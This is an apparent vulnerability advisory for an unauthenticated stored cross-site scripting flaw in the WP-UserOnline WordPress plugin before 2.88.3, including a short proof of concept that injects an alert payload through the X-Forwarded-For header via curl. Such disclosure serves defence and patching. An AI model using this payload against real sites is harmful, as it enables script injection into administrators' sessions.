WP-UserOnline < 2.88.3 - Unauthenticated Stored XSS

2023-11-0600:00:00

Krzysztof Zając (CERT PL)

xss

unauthenticated

stored data

0.001 Low

EPSS

Percentile

30.3%

JSON

Description The plugin does not sanitise and escape the X-Forwarded-For header before outputting its content on the page, which allows unauthenticated users to perform Cross-Site Scripting attacks.

curl https://example.com -H 'X-Forwarded-For: <img src=x onerror=alert(/xss/)>'

Then, as a high-privileged user, visit `/wp-admin/index.php?page=useronline`

0.001 Low

EPSS

Percentile

30.3%

JSON

Related for WPEX-ID:55D23184-FC5A-4090-B079-142407B59B05